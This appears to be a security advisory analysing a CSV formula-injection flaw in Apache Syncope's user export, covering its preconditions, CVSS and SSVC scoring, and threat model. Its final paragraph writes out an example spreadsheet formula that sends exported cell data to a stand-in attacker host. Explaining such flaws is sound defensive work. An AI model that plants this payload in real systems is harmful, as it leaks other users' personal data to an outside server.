Apache Syncope CVE-2026-73195

Exploitation requires three concurrent conditions: (1) an authenticated Syncope user account with at least low privilege (PR:L) - specifically the ability to write to one or more plain string attributes on their own user object, which is default behavior for enrolled users; (2) a Syncope administrator or privileged operator who subsequently performs a CSV export that includes the attacker's user record and opens the resulting file in a spreadsheet application that evaluates formulas on file open (UI:R); and (3) the spreadsheet application must not have formula execution disabled, Protected View active, or equivalent safeguards enabled. There is no requirement for a non-default Syncope server configuration - the CSV export function is a standard administrative capability. Exploitation is entirely bounded by the human interaction requirement: the attacker cannot remotely trigger formula execution and has no visibility into when or whether an export will occur.

The vendor-assigned CVSS 3.1 score of 7.3 (AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N) correctly reflects the network-accessible, low-privilege nature and mandatory human interaction, but the use of S:U (Unchanged scope) is debatable: the formula executes inside a different component - the spreadsheet application on an admin workstation - which technically implies S:C (Changed), a distinction that would raise the base score. EPSS data is absent from available intelligence, so probabilistic exploitation probability cannot be stated quantitatively. SSVC classifies exploitation as 'none', not automatable, with total technical impact on the targeted system - the 'total' impact rating reflects that successful formula execution on an admin's machine can fully compromise that host. The attack is not in CISA KEV, and no POC code has been identified. Real-world risk is meaningfully reduced by the UI:R constraint: the attacker cannot trigger execution server-side and must wait for an administrator to both export and open the CSV file. The most realistic threat model involves a malicious insider, a compromised low-privilege credential, or a social-engineering scenario targeting an administrator's routine export workflow.

An authenticated Syncope user with only self-service access sets their display name or a custom string attribute to a crafted payload such as =HYPERLINK("http://attacker.example/exfil?d="&B2,"Click to update"). When a Syncope administrator later runs a routine user CSV export for compliance review and opens the file in Microsoft Excel, the formula silently issues an HTTP request to the attacker-controlled server, appending the value of cell B2 (which may contain other users' data from the export) - achieving lateral data exfiltration without any additional attacker interaction after the initial write.